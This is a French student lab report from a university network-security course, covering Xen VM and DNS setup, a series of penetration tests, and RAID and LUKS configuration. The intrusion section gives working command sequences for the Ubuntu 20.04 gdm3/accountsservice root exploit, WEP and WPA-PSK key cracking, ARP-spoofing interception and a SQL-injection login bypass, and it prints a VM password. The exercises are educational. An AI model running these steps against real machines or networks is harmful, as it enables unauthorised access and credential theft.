TP sysres IMA5sc 2020/2021 G8

De Wiki d'activités IMA
Révision datée du 30 novembre 2020 à 15:03 par Ktekin (discussion | contributions) (6. Réalisations)

2. Installation de la machine virtuelle Xen

Tout d'abord, on fait un SSH sur capbreton.

Puis création de la machine virtuelle :

xen-create-image --hostname=piedbleu --ip=100.64.0.22 --netmask=255.255.255.0 --password=pasglop --dir=/usr/local/xen --dist=buster --gateway=100.64.0.5 --force

On renomme les LVM avec lv rename :

lvrename /dev/storage/piedbleu1 /dev/storage/piedbleu-home
lvrename /dev/storage/piedbleu2 /dev/storage/piedbleu-var

On obtient (lvdispaly) :

--- Logical volume ---
 LV Path                /dev/storage/piedbleu-home
 LV Name                piedbleu-home
 VG Name                storage
 LV UUID                UIBfvf-NW8A-iag9-WwcT-HiZu-53UW-u4DRMA
 LV Write Access        read/write
 LV Creation host, time capbreton, 2020-10-12 16:38:58 +0100
 LV Status              available
 # open                 1
 LV Size                10.00 GiB
 Current LE             2560
 Segments               1
 Allocation             inherit
 Read ahead sectors     auto
 - currently set to     256
 Block device           254:12
  
 --- Logical volume ---
 LV Path                /dev/storage/piedbleu-var
 LV Name                piedbleu-var
 VG Name                storage
 LV UUID                yZPi6c-xffl-2PgT-YuXk-DYma-X15f-Uci6C1
 LV Write Access        read/write
 LV Creation host, time capbreton, 2020-10-12 16:39:03 +0100
 LV Status              available
 # open                 1
 LV Size                10.00 GiB
 Current LE             2560
 Segments               1
 Allocation             inherit
 Read ahead sectors     auto
 - currently set to     256
 Block device           254:13


Ensuite, on modifie le fichier : /etc/xen/piedbleu.cfg

Dans la catégorie "Disk device(s)", partie "disk", on ajoute les lignes suivantes :

phy:/dev/storage/piedbleu-home,xvda3,w',
phy:/dev/storage/piedbleu-var,xvda4,w',

Dans la catégorie "Networking", on ajoute :

bridge=IMA5sc

Ensuite, on lance la VM :

xl create -c /etc/xen/piedbleu.cfg

Par la suite, pour accéder à la VM, on fera :

xl console piedbleu

Dans la VM, on formate xvda3, xvda4 en ext 4 :

mkfs.ext4 /dev/xvda3
mkfs.ext4 /dev/xvda4

On modifie le fstab en ajoutant :

/dev/xvda3 /home defaults 0 2
/dev/xvda4 /var defaults 0 2

Et après on les monte :

mount -a 

puis on fait un lsblk pour vérifier.

On obtient :

Lsblk-g8-2021.png

4. Services Internet

4.0 Accès à Internet

Tout d'abord, on configure le fichier /etc/network/interfaces :

# The loopback network interface
auto lo
iface lo inet loopback
# The primary network interface
auto eth0
iface eth0 inet static
 address 193.48.57.181
 netmask 255.255.255.255
 up ip address add dev eth0 100.64.0.21/24 
 up ip route add default via 100.64.0.2 src 193.48.57.181
 down ip address del dev eth0 100.64.0.21/24 
 down ip route del default via 100.64.0.2 src 193.48.57.181
iface eth0 inet6 auto


Ensuite, ssh sur la zabeth09, puis minicom :

enable
conf t
ip route 193.48.57.181 255.255.255.255 100.64.0.21
exit
write


On fait un ping pour tester :

$  ping google.fr

4.1 Serveur SSH

On modifie le fichier /etc/ssh/sshd_config. Ensuite on active le serveur ssh :

$ service ssh start

Puis sur un autre terminal, on fait un :

$ ssh root@193.48.57.181

4.2 Serveur DNS

Tout d'abord, nous allons sur Gandi et nous paramétrons notre nom de domaine piedbleu.site de la façon suivante :

Nom de domaine > piedbleu.site > Glue Records
      ns1.piedbleu.site
      193.48.57.181
Nom de domaine > piedbleu.site > Serveurs de noms > Externe (au lieu de live Gandi DNS)
      1er  : ns1.piedbleu.site

Après avoir configuré noter nom de domaine, nous configurons notre serveur DNS sur notre VM.

Nous commençons par installer le paquet bind:

apt install bind9

Bind9 est notre serveur DNS que nous allons configurer. Cela se déroule en plusieurs étapes:

1ère étape:

Nous commençons par changer le nom du serveur dans le fichier /etc/resolv.conf

name serveur 127.0.0.1

L'adresse 127.0.0.1 spécifie que notre DNS correspond à notre machine.

2ème étape: Dans le fichier /etc/bind/named.conf.local, nous créons une zone "piedbleu.site" qui spécifie que notre DNS ns1.piedbleu.site est notre DNS primaire :

zone "piedbleu" IN {
        type master;
        file "/etc/bind/db.piedbleu.site";
        allow-transfer { 217.70.177.40; };
};

La dernière ligne nous permet d'autoriser le transfert des informations du DNS primaire (ns1.piedbleu.site) au DNS secondaire ( ns6.gandi.net, ip:217.70.177.40;).

3ème partie: Dans le fichier cat /etc/bind/db.piedbleu.site, nous configurons la zobe "piedbleu.site":

;
; BIND data file for local loopback interface
;
TTL    604800
@       IN      SOA     ns1.piedbleu.site. root.piedbleu.site. (
                              3         ; Serial
                         604800         ; Refresh
                           86400         ; Retry
                        2419200         ; Expire                          
                         604800 )       ; Negative Cache TTL
;
@       IN      NS      ns1.piedbleu.site.
@       IN      NS      ns6.gandi.net.
ns1     IN      A       193.48.57.181

Nous spécifions ns1.piedbleu.site comme étant notre localhost et root.piedbleu.site comme étant notre root.localhost. Nous ajoutons ensuite nos deux NS ( ns1.piedbleu.site et ns6.gandi.net ) ainsi que l'adresse du premier NS : 193.48.57.181.

Pour vérifier que notre configuration est bien réalisée, nous entrons la commande suivante:

host -t any piedbleu.site

résultat :

Reponse.png

A présent, nous pouvons configurer le serveur de nom secondaire :

Nom de domaine > piedbleu.site > Serveurs de noms > Externe (au lieu de live Gandi DNS)
      2ème : ns6.gandi.net

5. Tests d’intrusion

5.1 Exploitation de failles du système : Ubuntu 20.04 en *exclusivité*

Plutôt que d'utiliser un ancien noyau Linux et des outils comme Metasploit, je vous propose en exclusivité dans le département IMA l'exploitation de plusieurs vulnérabilités dans la dernière version de Ubuntu, la 20.04.1, kernel 5.6. Ces exploits ont été publiés le 10/11/2020 et aujourd'hui, à l'heure où j'écris ces lignes nous sommes le 11/11/2020. En ce jour férié, en parcourant l'actualité IT, j'ai apperçu un article fort intéressant, que je vais reprendre ici pour obtenir les droits administrateurs sur la machine Linux :

1) J'installe Ubuntu 20.04 dans une VM.

2) Par défaut la session fait partie du groupe sudo, je fais donc un compte utilisateur standard pour mener à bien mon exploit, sinon c'est de la triche...

$ sudo adduser u1
$ su u1
$ id
uid=1001(u1) gid=1001(u1) groupes=1001(u1)

3) On fait un DOS (denial of service) sur accounts-daemon, pour ce faire on fait d'abord le lien symbolique suivant :

$ ln -s /dev/zero ~/.pam_environment

Puis on va dans Settings > Region and Language > Language, et on change de langue. On se rend vite compte que le CPU tourne à 100%. En faisant la commande :

$ top

On se rend compte que accounts-daemon utilise presque toutes les ressources CPU. On récupère son PID, puis on lui envoie le signal SIGSTOP.

$ kill -SIGSTOP 1098

Maintenant, on peut supprimer le lien symbolique qui a causé le DOS pour ne pas que l'exploit se relance à chaque nouvelle session.

$ rm ~/.pam_environment

Ici on va faire crasher le accounts-daemon, mais seulement une fois que l'on s'est déconnecté, on lance donc cette tâche en arrière plan après 10 secondes.

$ nohup bash -c "sleep 10s; kill -SIGSEGV 1098; kill -SIGCONT 1098"

On se déconnecte de notre session.

Le menu "Welcome" de Ubuntu apparaît après quelques temps d'attente !! C'est le menu d'installation de Ubuntu qui est censé venir seulement la 1ere fois que l'on installe l'OS sur notre machine. On va donc être en mesure de configurer une nouvelle session qui aura les droits administrateurs sur la machine (et ce, sans supprimer les autres comtpes). Un nouvel utilisateur apparaît sur la machine !

$ whoami
pwn
$ id
uid=1002(pwn) gid=1002(pwn) groupes=1002(pwn), 27(sudo)


Explication :

En changeant la langue dans "Region and Language", le programme accountsservice daemon (accounts-daemon) va lire le fichier .pam_environment situé dans le home. Cependant nous avons fait un lien symbolique malicieux pointant sur /dev/zero. Le programme va donc tourner en boucle infini car il n'arrivera jamais à finir de lire /dev/zero.

La deuxième faille réside dans le fait que accounts-daemon abaisse ses privilèges root en privilège standard seulement quand il lit le .pam_environment. Or il est enfermé dans une boucle infini grâce à notre lien malicieux. On va donc pouvoir lui envoyer les signaux SIGSTOP, SIGSEGV, SIGCONT sans avoir de droit root. En fait à la base l'abaissement de privilège est une protection pour empêcher de lire dans /etc/shadow par exemple...

Ensuite, on se déconnecte de notre session en lançant en arrière plan le kill -SIGSEGV de accounts-daemon. Sauf que le gestionnaire de session gdm3 demande à accounts-daemon combien de session il y a afin de nous permettre de choisir laquelle on va utiliser pour se connecter. Accounts-daemon étant hors service, gdm3 va lire la valeur par défaut de priv->have_existing_user_accounts, qui est : "false". Gdm3 pense donc qu'il n'y a aucune session sur la machine et va lancer gnome-initial-setup.


Note 1 : La faille semble avoir été rapidement patchée.

Note 2 : Les failles exploitées lors de l'élévation de privilège :

accountsservice denial of service (GHSL-2020-187, GHSL-2020-188 / CVE-2020-16126, CVE-2020-16127)

gdm3 privilege escalation due to unresponsive accounts-daemon (GHSL-2020-202 / CVE-2020-16125)

Version du noyau et des parquets :

Ubuntu 20.04.1 LTS, kernel 5.6
gdm3, version 3.36.3-0ubuntu0.20.04.1
accountsservice, version 0.6.55-0ubuntu12~20.04.1

Source :

How to get root on Ubuntu 20.04 by pretending nobody’s /home, Kevin Backhouse, November 10 2020

https://securitylab.github.com/research/Ubuntu-gdm3-accountsservice-LPE

5.2 Cassage de clef WEP d’un point d’accès WiFi

Nous commençons tout d’abord par installer le paquet aircrack :

$ apt-get install aircrack-ng

À partir de là, nous listons la liste des interfaces wifi disponibles : (pour repérer le nom du réseau sans fil correspondant à notre binôme) :

$ airmon-ng

Screen1.png


On remarque que notre carte wifi est désignée par le nom wlp1s0mon qui correspond à l’interface.

Nous passons ensuite notre interface en mode monitor, pour écouter le trafic wifi aux alentours.

$ airmon-ng start wlp1s0mon


On peux ensuite lancer le scan des réseaux wifi environnants :

$ airodump-ng --encrypt wep wlp1s0mon

Screen2.png


On repère le point d’accès qui correspond au réseau wifi qui nous intéresse ( cracotte 08). on récupère le bssid : 04:DA:D2:9C:50:57 , et le chanel : 3.

On capture ensuite les paquets émis par le point d’accès cible :

$ airodump-ng --write mon_fichier --channel 3 --bssid 04:DA:D2:9C:50:57 wlp1s0mon

Screen3.png


On se concentre sur l’indicateur #Data qui permet de savoir le nombre de paquets data collecté. Une fois que ce nombre atteint 30000, on lance dans un autre terminal le crack de la clé :

$ aircrack-ng -z mon_fichier-01.cap

Screen4.png


On voit que le programme a réussi à trouver la clé ( message « Key Found »).

5.3 Cassage de mot de passe WPA-PSK par force brute

Nous allons dans cette partie continuer à utiliser aircrack. Les premières étapes sont similaires à celles pour le cassage d'une clé WEP. Nous commençons par lister les interfaces wifi disponibles (airmon-ng), puis on passe l'interface en mode monitor (airmon-ng start wlp1s0mon).

On lance ensuite le scan des réseaux wifi WPA PSK environnants :

$ airodump-ng --encrypt wpa-psk wlp1s0mon

Scankracotte.png

Cette commande nous permet d'obtenir des informations supplémentaires sur les réseaux wifi, comme le BSSID, le Channel, l'AUTH ( le mode d'authentification), ainsi que l'ESSID ( le nom du routeur ).

Nous utilisons alors le BSSID ainsi que le Channel du réseau wifi kracotte03 dans la commande suivante:

$ airodump-ng wlp1s0mon --bssid 00:14:1B:60:8C:22 --ch 3 -w capture

Cette commande nous permet d'obtenir un handshake. Nous la laissons tourner en boucle jusqu'à ce que nous obtenions ce fameux handshake.

Handshake1.png

Maintenant que nous avons obtenu le handshake, nous allons faire une attaque par bruteforce. Pour cela, nous générerons tout d'abord toutes les combinaisons possibles de mots de passe de taille 8, composés uniquement de chiffre.

Pour construire ce dictionnaire, nous utilisons la commande crunch (que nous avons au préalable installée):

$ crunch 8 8 -o 12345678 > motdepasse.txt

Nous spécifions ici la longueur minimum et maximum du mot de passe (8), les caractères à utiliser (012345678), puis nous effectuons une redirection vers motdepasse.txt.

Ensuite, nous effectuons l'attaque par bruteforce avec la commande suivante :

$ aircrak-ng -a2 -b 00:14:1B:60:8C:27 -w motdepasse.txt *.cap

Comme la méthode bruteforce prend du temps, nous lançons l'attaque la nuit, en ssh sur notre zabeth. 4h plus tard, nous obtenons le mot de passe de la kracotte :

WPA-5.png

5.4 Attaque de type "homme au milieu" par usurpation ARP

Tout d'abord, on install dsniff sur l'eepc. Ensuite on le transforme en routeur :

apt install dsniff
export PATH=/sbin:/usr/sbin:$PATH
echo 1 > /proc/sys/net/ipv4/ip_forward

Ensuite on lance arpspoof pour placer l'eepc entre la zabeth et le routeur :

arpspoof -i enp4s0 -t 172.26.145.60 172.26.145.254

Ensuite, on trouve une page HTTP avec un petit formulaire POST. La page n'étant pas sécurisé par TLS ou SSL, les données seront échangées en clair. On ouvre Wireshark dans l'eepc et dans la zabeth on se rend sur un site vulnérable (par exemple : http://fabricarium-old.polytech-lille.fr).

En tentant de se connecter, on se rend compte que la requête POST a bien été transmise à l'eepc qui l'a redirigé vers le routeur :

Mitm-pra.png

5.5 Intrusion sur un serveur d’application Web

Tout d'abord, nous nous rendons sur honey.plil.info. Nous apercevons un formulaire, que l'on exploite par injection SQL :

' OR 1 = 1 --

D'un autre côté nous effectuons un nmap sur le serveur afin d'avoir une idée des services que l'on pourra exploiter (ou juste utiliser...).

nmap -T4 -A honey.plil.info

On obtient :

Nmap-g8-2021 1.2.png

Nous essayons de faire un ssh avec les id trouvés par injections SQL... sans succès.

De retour sur le site honey.plil.info, nous remarquons la présence d'une seconde page avec formulaire : honey.plil.info/phpmyadmin. Mais nous n'avons pas le mot de passe. L'injection SQL ne semble pas fonctionner.

De retour sur la 1ere page, on se connecte sur honey.plil.info avec les ids récupérés par injection SQL. En exploitant bien comme il faut les fonctionnalités du site, on arrive à récupérer le mot de passe de notre seconde page.

On se connecte donc sur cette seconde page, et après quelques recherches dans la base de données, on retrouve un identifiant et un mot de passe.

On utilise cette découverte pour se connecter sur le serveur en SSH.

Cependant, cet utilisateur n'est pas root. Il peut néanmoins lire le fichier des mots de passe. On récupère ainsi le mot de passe haché de l'administrateur root.

Pour avoir son mot de passe, on réalise une attaque par brute force avec dictionnaire.

Nous construisons ce dictionnaire avec crunch en reprenant un indice donné dans l'énoncé.

Quelques temps plus tard... John nous donne le mot de passe root !

Nous nous connectons sur le serveur en tant que root et nous y laissons la trace de notre passe "I was here" :

Hack-honey.png

6. Réalisations

6.1 Sécurisation de données : RAID 5 logiciel

Tout d'abord, on crée 3 partitions vituelles :

lvcreate -L1G -n piedbleu-raid1 storage

Ensuite, on modifie le fichier : /etc/xen/piedbleu.cfg, puis on redémarre la VM.

Dans notre VM, on lance les commandes :

apt instal mdadm
mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7
mdadm --monitor --daemonise /dev/md0
mkfs.ext4 /dev/md0
mkdir /raid5
nano /etc/fstab
  /dev/md0   /raid5   ext4   defaults   0   2

RAID 5 : on doit avoir minimum 3 disques, mais on peut survivre seulement à la perte d'un seul disque.

6.2 Chiffrement de données

Pour chiffrer la partition de notre clé USB et pouvoir y écrire des fichiers, on exécute les commandes suivantes :

$ fdisk -l # on répère la clé USB
$ fdisk /dev/sdb # on formate la clé en une seule partition
$ cryptsetup luksFormat /dev/sdb1 # on chiffre l'unique partition de la clé USB
$ cryptsetup luksOpen /dev/sdb1 myusbkey # on déchiffre la partition
$ mkfs.ext4 /dev/mapper/myusbkey # on formatte la partition en EXT4

Ensuite, on monte la clé USB, et on la peuple :

$ mkdir /mnt/USB 
$ mount -t ext4 /dev/mapper/myusbkey /mnt/USB
$ touch /mnt/USB/mytestfile.txt

Une fois que l'on a fini, on démonte le système de fichier proprement :

$ umount /mnt/USB
$ cryptsetup luksClose myusbkey

6.4 Sécurisation WiFi par WPA2-EAP